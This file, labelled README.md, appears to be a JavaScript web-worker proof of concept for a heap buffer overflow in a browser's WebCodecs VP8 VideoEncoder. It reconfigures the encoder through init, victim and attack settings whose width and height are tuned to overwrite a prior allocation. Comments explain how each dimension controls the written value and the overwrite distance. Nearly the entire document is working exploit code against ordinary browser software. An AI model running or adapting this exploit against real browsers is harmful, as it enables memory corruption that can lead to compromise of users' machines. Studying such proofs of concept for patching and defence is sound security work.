README.md
Rendering markdown...
function reportError(e) {
// Report error to the main thread
console.log(e.message);
postMessage(e.message);
}
// This determines the bounds of our write value and overwrite length
const config_init = {
codec: "vp8",
width: 1200, // This value determines our maximum uint32 write value
height: 1200, // This value determines our maximum height aka max overflowing amount
};
// Determines the size of the allocation we are overflowing
const config_victim = {
codec: "vp8",
// Requirement: 307200 <= width*height
// Requirement: config_init.width >= width
// Requirement: config_init.height >= height
width: 1000, // cols = ceil(width/16)
height: 608, // rows = ceil(height/16)
};
// Overflows the previous allocation
const config_attack = {
codec: "vp8",
// Requirement: 307200 > width * height.
// Requirement: config_init.width >= width > 15
// Requirement: config_init.height >= height
// Requirement: ceil(config_victim.height/16) < ceil(height/16)
width: 16, // cols' = ceil(width/16). Controls the u32 value we write.
height: 720, // rows' = ceil(height/16). Controls how far we overwrite. overwrite = rows'-rows
};
// If we switch too fast then attack fails
let config_change_timeout = 1000;
function captureAndEncode() {
function processChunk(chunk, md) {
console.log(md);
};
const init = {
output: processChunk,
error: reportError
};
// Initial init
let encoder = new VideoEncoder(init);
encoder.configure(config_init);
// Dummy frame used to call encoder
let vfInit = {format: 'NV12', timestamp: 0, codedWidth: 4, codedHeight: 2};
let data = new Uint8Array([
1, 2, 3, 4, 5, 6, 7, 8, // y
1, 2, 3, 4, // uv
]);
async function initialize_encoder() {
let frame = new VideoFrame(data, vfInit);
// Use config_init to allocate the bounds
encoder.encode(frame, { keyFrame: true });
frame.close();
vfInit.timestamp += 100;
// Prepare our victim allocation
encoder.configure(config_victim);
setTimeout(prepare_victim, config_change_timeout);
};
async function prepare_victim() {
let frame = new VideoFrame(data, vfInit);
// Ensure our victim is allocated
encoder.encode(frame, { keyFrame: true });
frame.close();
vfInit.timestamp += 100;
// Now here's our attacking config
encoder.configure(config_attack);
setTimeout(overflow, config_change_timeout);
};
async function overflow() {
let frame = new VideoFrame(data, vfInit);
// Overwrite the victim allocation
encoder.encode(frame, { keyFrame: true });
frame.close();
};
setTimeout(initialize_encoder, config_change_timeout);
}
self.onmessage = async function(e) {
captureAndEncode();
}